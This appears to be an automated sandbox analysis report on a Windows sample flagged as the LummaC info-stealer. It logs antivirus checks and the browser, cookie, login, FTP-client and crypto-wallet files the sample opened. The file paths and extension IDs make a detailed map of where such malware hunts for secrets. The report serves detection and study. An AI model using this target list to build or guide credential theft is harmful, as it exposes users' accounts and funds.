Source: uUtgy7BbF1.exe, 00000003.00000003.1510107757.0000000001169000.00000004.00000020.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.2171505210.0000000001173000.00000004.00000020.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1562773864.0000000001169000.00000004.00000020.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1510304702.0000000001189000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\uUtgy7BbF1.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: uUtgy7BbF1.exe PID: 7580, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: uUtgy7BbF1.exe, 00000003.00000003.1481224487.00000000011C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum-LTC\wallets
Source: uUtgy7BbF1.exe, 00000003.00000003.1481224487.00000000011C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ","m":["*"],"z":"Wallets/ElectronCash","d":0,"fs":20971520},{"t"
Source: uUtgy7BbF1.exe, 00000003.00000003.1481224487.00000000011C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: enllpjcblmjkfcffne","ez":"Jaxx Liberty"},{"en":"fihkakfobkmkjojpchpfgcmhfjnmnfpi","ez":"BitApp"},{"en":"
Source: uUtgy7BbF1.exe, 00000003.00000003.1480812391.0000000001169000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: uUtgy7BbF1.exe, 00000003.00000003.1481224487.00000000011C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: pdata%\\Exodus\\exodus.wallet","m":["*"],"z":"Wallets/Exodus","d":2,"fs":2097152c
Source: uUtgy7BbF1.exe, 00000003.00000003.1481224487.00000000011C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ,"ez":"Sui"},{"en":"aholpfdialjgjfhomihkjbmgjidlcdno","ez":"ExodusWeb3"}$
Source: uUtgy7BbF1.exe, 00000003.00000003.1481224487.00000000011C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \\Ethereum","m":["keystoq
Source: uUtgy7BbF1.exe, 00000003.00000003.1481155531.00000000011C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: uUtgy7BbF1.exe, 00000003.00000003.1481155531.00000000011C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Directory queried: C:\Users\user\Documents\TQDGENUHWP	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Directory queried: C:\Users\user\Documents\TQDGENUHWP	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\uUtgy7BbF1.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior

Source: Yara match	File source: 00000003.00000003.1481155531.00000000011C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.1480945277.00000000011C4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.1480812391.00000000011C4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: uUtgy7BbF1.exe PID: 7580, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: uUtgy7BbF1.exe PID: 7580, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
